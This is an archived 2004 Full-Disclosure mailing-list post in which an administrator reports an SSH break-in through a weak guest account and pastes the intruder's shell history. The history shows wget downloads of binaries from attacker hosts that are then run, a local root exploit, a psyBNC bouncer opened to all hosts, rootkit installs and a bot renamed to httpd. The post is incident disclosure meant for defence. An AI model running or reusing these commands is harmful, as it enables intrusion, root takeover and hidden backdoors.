full-disclosure - !SPAM! Automated ssh scanning

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From: holle at ackw.de (Richard Verwayen)
Subject: !SPAM! Automated ssh scanning

On Thu, 2004-08-26 at 18:36, Tremaine wrote:
> On Thu, 26 Aug 2004 09:43:13 -0500 (CDT), Ron DuFresne
> <dufresne@...ternet.com> wrote:
> > On Thu, 26 Aug 2004, Richard Verwayen wrote:
> > 
> > > On Thu, 2004-08-26 at 15:12, Todd Towles wrote:
> > > >  The kernel could be save. But with weak passwords, you are toast. Any
> > > > automated tool would test guest/guest.
> > > >
> > > Hello Todd!
> > >
> > > You are right about the passwords, but guest is only a unprivileged
> > > account as you may have on many prodruction machines. But they managed
> > > to become root on this machine due to a kernel(?) exploit!
> > > Should I then consider any woody system to be insecure to let people
> > > work at?
> > 
> > 
> > If your uasers are not trustable, then they should not have access to
> > local systems of yours.  Once a person has a shell, then they are 95% to
> > root.
> > 
> > Thanks,
> > 
> > Ron DuFresne
> 
> 
> Fair point... but it would still be nice to determine precisely how
> they are getting root access so preventative measures can be taken and
> the hole plugged.
Some more infos maybe useful:

Hosts from which my "guest" they logged in
     213.154.103.49
     213.154.103.40
     213.154.103.49
     210.177.241.201
     66.250.216.109
     66.250.216.109
     210.52.66.56
     62.108.109.163
     62.108.109.163
     213-35-199-254-dsl.mus.estpak.ee
     0x50a349b6.unknown.tele.dk

Way the attacker got r00t (as listed in guest's history)

PATH=:PATH
xs
uname -a
exit
PATH=:PATH
xs
logout
exit
w
cat /etc/hosts
cd /tmp
wget www.bo2k-rulez.net/a
chmod +x a
./a
wget www.bo2k-rulez.net/psybnc.tgz
tar zfvx psybnc.tgz
cd psybnc
make
mv psybnc xs
sh
uname -a
ls
pico psybnc.conf
rm -rf psybnc.conf
echo "PSYBNC.SYSTEM.PORT1=21221" >> psybnc.conf
echo "PSYBNC.SYSTEM.HOST1=*" >> psybnc.conf
echo "PSYBNC.HOSTALLOWS.ENTRY0=*;*" >> psybnc.conf
killall -9 xs
sh
exit
logout
cd /var/tmp/
 wget sky.prohosting.com/awxro/linux/xpl.tar.gz
tar xzvf xpl.tar.gz
xpl/ptr1
wget www.bo2k-rulez.net/a
./a
chmod =x a
./a
rm -rf a
exit
exit
passwd
passwd
ls -al
hostname
w
cat /etc/hosts
ifconfig
/sbin/ifconfig
cd /tmp
mkdir ...
wget www.corbeanu.as.ro/t.gz
tar zxvf t.gz
./t
mv fastmech httpd
export PAT="."
export PATH="."
httpd
httpd
wget www.corbeanu.as.ro/god.tgz
wget www.geocities.com/sniffhax/god.tgz
wget roamy.com/god.tgz
wget roarmy.com/god.tgz
tar zxvf god.tgz
cd god
./install
wget www.corbeanu.as.ro/rkid.tgz
tar zxvf rkid.tgz
cd rkid
./setup stelian 6006
ls
ls -a
wget www.generatiapro.go.ro/fast.tgz
tar zxvf fast.tgz
cd fastmech 
bash

-- 
Richard Verwayen <holle@...w.de>